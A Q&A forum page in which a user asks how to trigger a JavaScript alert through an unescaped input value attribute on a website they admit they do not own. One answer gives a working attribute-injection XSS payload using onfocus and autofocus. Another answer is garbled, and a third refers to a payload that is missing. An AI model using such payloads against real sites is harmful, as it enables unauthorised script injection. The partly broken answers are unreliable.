Say I have the a website with the following code on it:

<input type="text" id="search-text" name="query" value="?" />

Double quotes aren't escaped so I can break out of the value attribute, however, I can't break out of the HTML tag itself as '<' and > are being filtered out.

My goal here is to get a javascript popup to appear.

  • There's the onfocus attribute so I guess if someone clicked on the text input box a javascript popup could appear.
  • However is there a way to make a javascript popup appear when the page first loads?
  • 4
    did you try all the techniques on owasp.org/index.php/… ?
    – KDEx
    Aug 22, 2015 at 18:40
  • I can't break out of the <input tag to start a <script tag, let alone not close a <script tag I'm already in. I'm not aware of any others that'll help either but if you are aware of one do feel free to post it as the answer..
    – neubert
    Aug 22, 2015 at 18:42
  • What reason would there be for not encoding double quotes?
    – Anonymous
    Aug 22, 2015 at 20:22
  • 1
    @Anonymous - ignorance? I didn't write the website that I'm trying to exploit!
    – neubert
    Aug 22, 2015 at 20:25
  • 3
    @neubert Oh, I read the phrase "Say I have the a website" and assumed you owned it. If not, this fits the close reason "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." in my opinion.
    – Anonymous
    Aug 22, 2015 at 20:27

3 Answers 3


Try this:

" onfocus="alert(1)" autofocus="

It will expand to:

<input type="text" id="search-text" name="query" value="" onfocus="alert(1)" autofocus="" />

Which will cause an alert box, demonstrating XSS.


Hyyyyyygg alert("xss")alert("xss")alert("xss")alert("xss")</svg onResize></svg onResize></svg onResize></svg onResize></svg onResize>


You can checkout for this too


Which will produce an alert box when the page loads.


You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .